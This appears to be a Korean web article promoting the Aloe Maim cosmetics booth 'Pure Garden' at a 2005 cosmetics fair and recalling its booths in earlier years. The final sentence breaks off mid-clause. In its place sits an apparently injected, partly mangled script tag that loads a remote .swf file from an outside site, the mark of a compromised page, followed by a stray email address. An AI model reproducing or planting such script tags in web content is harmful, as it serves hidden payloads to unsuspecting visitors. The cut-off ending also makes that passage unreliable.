모든 자연의 요소들이 어우러져 하나의 조형물을 이룰 때 인간은 그 속에서 편안한 기쁨을 느낄 수 있다. 이번 2005 화장품 박람회의 알로에마임 부스 테마는 깨끗한 자연의 소재를 통해 구현한 ‘순수의 정원’(Pure Garden)이다.
박람회 최대부스인 열다섯 부스에 마련된 순수의 정원은 누구나 한 번쯤은 가보고 싶고 경험하고픈 아름다운 스토리 가든을 보여준다.
갖가지 자연의 요소가 결합된 순수의 정원은 전체적인 그 느낌만으로도 유럽의 장구한 역사를 간직한 한폭의 그림같은 고풍스런 정원을 연상케 한다. 자연의 생명이 살아 숨쉬는 유러풍의 가든을 도심 한가운데 옮겨놓은 듯한 착각마저 들게 하는 알로에마임의 2005년 부스는 자연주의가 그 기반이다.
멀리서 볼 때, 시원스레 하늘로 뻗은 5m 높이 수직의 이끼가 서린 푸른 담과 프로방스 지역에 온 듯한 전면의 유리창 사이의 화분들, 그리고 바닥을 장식한 붉은 벽돌이 수평을 이루며 화려한 공간의 미(美)를 연출한다.
관람객이 들어가는 입구에 마련된 테라스에 서서 전체적인 조망을 바라볼 때 한눈에 들어오는 풍광은 알로에마임의 부스가 왜 ‘순수의 정원’으로 이름붙여진 지 느낄 수 있을 만큼 정갈한 자연의 아름다움과 인간이 창조한 절제된 인공의 미를 보여준다.
자연 속에서 맛보는 수직과 수평의 절묘한 만남의 운치 속에서 관람객은 갖가지 꽃, 풀과 같은 자연의 디테일을 경험하며 그 자연 속에 소중한 일부로 자리매김한 알로에마임의 코스메틱 브랜드 ‘라헬’과 ‘미러클’을 체험할 수 있다.
알로에마임의 ‘박람회 Beauty History’
알로에마임은 화장품 박람회 첫해, 최대부스인 열다섯 부스의 공간에 자연을 느끼기에 충분한 3개의 체험관을 구성하여 ‘비밀의 정원’(Secret Garden)으로 박람회장의 센세이션을 자아내기도 했다.
외부에서 바라볼 때는 전혀 내부를 알 수 없는 공간 디자인으로 호기심을 가지고 부스 안으로 들어왔을 때 자연이 담긴 3개의 체험관 속에서 그 아름다움과 멋을 경험하기에 부족함이 없었다.
아울러 2004년에는 자연의 향기가 응축된 풍광인 ‘내추럴 하우스로의 초대’(Invitation of Natural House)의 테마로 웰빙 무드와 함께 쿨한 이미지를 한껏 자아내기도 했다. 하얗게 드리워진 실크 천 안의 거실과 푸른 담쟁이와 허브 사이의 ‘라헬(Rahel)"과 촛대 모양의 샹젤리제 아래 엔틱한 모조 가구 위에 비치된 ‘미러클(Miracle)"은 이제 화장품이 우리 삶의 소중한 일부로 자리잡은 것을 보여주기에 충분했다.
특히 2004년에는 디지털 카메라가 보편화된 시점과도 맞물린 때라 ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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